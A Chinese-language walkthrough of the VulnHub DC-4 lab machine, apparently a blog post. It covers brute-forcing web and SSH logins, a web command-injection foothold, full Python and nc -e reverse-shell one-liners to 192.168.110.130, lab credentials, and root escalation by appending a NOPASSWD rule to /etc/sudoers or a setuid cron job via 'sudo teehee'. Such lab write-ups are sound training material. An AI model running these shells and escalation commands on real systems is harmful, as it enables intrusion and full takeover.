vulnhub DC-4 walkthrough (含非预期)

实验

先做一个简单的信息收集

这是一个 admin:x 的登录入口,尝试 burp 爆破密码,字典使用 rockyou.txt

顺便扫一下目录

跑的时候久一点,会卡

拿到账号秘密 admin:happy

选择想使用的功能,点击 run,可以显示命令输出结果

尝试抓包修改命令

ls+-ls -> id

注:www-data 用户是 Linux 系统中专门为 Web 服务设计的用户,权限受严格控制。

既然能够命令执行,尝试反弹 shell

经过尝试,python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.130",1314));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'nc -e /bin/bash 192.168.110.130 1314等等都可以用的。

说明:

  • UID = 33 (www-data):表示该进程的实际用户(Real User ID)是 www-data。这意味着该进程属于 www-data 用户。
  • GID = 33 (www-data):表示该进程的实际组(Real Group ID)是 www-data 组。
  • EUID = 0 (root):表示该进程的有效用户(Effective User ID)是 root。有效用户 ID 决定了该进程在运行时实际拥有的权限。EUID 为 0 表示该进程具有 root 用户的权限。
  • Groups = 33 (www-data):表示该进程的所属组是 www-data。

    这是一个复现过程,结果发现这么个非预期解答。可能与python反弹 shell 的操作有关。现在来讲一下正常解。
    使用 nc -e /bin/bash 192.168.110.130 1314 反弹 shell

    只有 jim 文件里有东西,仔细查看

    jim 文件下的 old-passwords.bak 存储着久密码集,尝试爆破一些他的 ssh 账号。


    拿到 jim:jibril04

    提示有一封邮件,全局搜索 mail
    find / -d -name '*mail*' 2>/dev/null


    拿到另一组账号密码 Charles:^xHhA&hvim0y

    可特权使用 teehee
    查看使用帮助

    法一
    向 /etc/passwd 添加特权用户 或者 修改 /etc/sudoers
    echo 'ALL ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
    修改 /etc/sudoers 文件,以允许所有用户无需密码即可执行所有命令

说明

sudo 是"superuser do"的缩写,它允许授权用户以超级用户(root)或其他用户的身份运行命令。

使用 sudo 时,系统会要求输入当前用户的密码(而不是 root 的密码),前提是该用户已经被授权使用 sudo(通常在 /etc/sudoers 文件中配置)。

su 是"switch user"的缩写,用于切换到另一个用户的身份。默认情况下,不带任何参数的 su 命令会切换到 root 用户。

使用 su 时,系统会要求输入目标用户的密码(例如,切换到 root 时需要输入 root 的密码)。

sudo su 的作用

切换到 root 用户:

sudo su 的组合命令允许当前用户(必须是 sudo 授权用户)以 root 用户的身份打开一个新的终端会话。

这个命令的执行过程如下:

sudo 以超级用户权限运行 su 命令。

su 命令切换到 root 用户,并打开一个新的 root 终端会话。

不需要输入 root 密码:

如果你直接使用 su 命令切换到 root 用户,系统会要求输入 root 的密码。但使用 sudo su 时,系统会要求输入当前用户的密码(前提是该用户已被授权使用 sudo),而不需要输入 root 的密码。

法二:修改计划任务
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
/bin/sh

说明

计划任务格式

分钟 小时 日期 月份 星期 user command

上面命令代表 root 每分钟执行一次 chmod 4777 /bin/sh

4 代表 suid 位,表示以所有者权限执行,而 7 代表 读写执行(r,w,x)所有权限

总结

  • 扫描主机 ip,端口和服务版本信息。
  • burp 爆破 admin 密码并成功登录。
  • 利用网页命令执行功能抓包修改命令反弹 shell 成功。
  • 利用 jim 旧密码集爆破 jim ssh 密码,成功登录。
  • 根据提示查看邮件,成功切换到 charles
  • 利用 charles 特权命令 teehee 修改计划任务或修改 sudoers 提权成功。
相关推荐
☆凡尘清心☆几秒前
CentOS 7 环境下部署 LAMP
linux·运维·centos
FBI HackerHarry浩1 小时前
云计算Linux Rocky day02(安装Linux系统、设备表示方式、Linux基本操作)
linux·运维·服务器·rocky
惊起白鸽4502 小时前
LVS+Keepalived高可用群集
linux·服务器·lvs
潘yi.2 小时前
LVS+Keepalived高可用群集
linux·服务器·lvs·keepalived
洁✘2 小时前
LVS-DR群集
linux·服务器·lvs
深圳安锐科技有限公司2 小时前
变焦位移计:机器视觉如何克服人工疲劳与主观影响?精准对结构安全实时监测
安全·自动化·机器视觉·自动化监测·人工监测
jz_ddk2 小时前
[学习] C语言多维指针探讨(代码示例)
linux·c语言·开发语言·学习·算法
澜兮子2 小时前
LVS -DR
linux·服务器·lvs
528304 小时前
python网络编程
网络
努力学习的小廉6 小时前
深入了解linux系统—— 库的制作和使用
linux·运维·单片机